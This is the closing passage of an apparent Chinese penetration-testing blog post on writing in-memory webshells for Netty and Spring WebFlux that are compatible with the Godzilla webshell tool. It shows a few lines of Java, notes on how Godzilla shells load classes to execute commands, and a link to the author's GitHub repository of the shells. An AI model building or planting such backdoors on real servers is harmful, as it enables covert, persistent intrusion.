  175.             return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
  176.         });
  177.         return bytesdata;
  179.     }
  180. }

还是比较好玩的啊哈，主要问题也是那个request对象的获取，我发现netty和webflux都是大差不差。netty是更底层的东西，springWebflux其实是基于netty的。通过构造内存马对哥斯拉内存马的逻辑又加深了一层，哥斯拉内存马主要是进行defineclass执行指令。获取body中pass参数的值，所以小难点就是拿到值，这个属于是开发的知识，web狗表示有点不熟悉，不过网上搜着搜着也就出来了。

image.png

image.png
2个马都比较好玩，其中Netty我用的是JAVA_AES_RAW，并无base64加密。

相关代码

相关代码均已上传github
https://github.com/Boogipop/Netty-WebFlux-Memshell

参考：
https://xz.aliyun.com/t/12388?ref=www.ctfiot.com#toc-8
https://xz.aliyun.com/t/11331#toc-0
https://xz.aliyun.com/t/12952#toc-6
https://github.com/cxyxiaokui/spring-boot-examples/blob/master/doc/webflux/Spring%20Boot%202%20%E5%BF%AB%E9%80%9F%E6%95%99%E7%A8%8B%EF%BC%9AWebFlux%20Restful%20CRUD%20%E5%AE%9E%E8%B7%B5%EF%BC%88%E4%B8%89%EF%BC%89.md
https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

  • 发表于 2023-11-30 09:00:02
  • 阅读 ( 6438 )
  • 分类：渗透测试

1 条评论

Nookipop
Nookipop

4 篇文章

Nookipop

如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！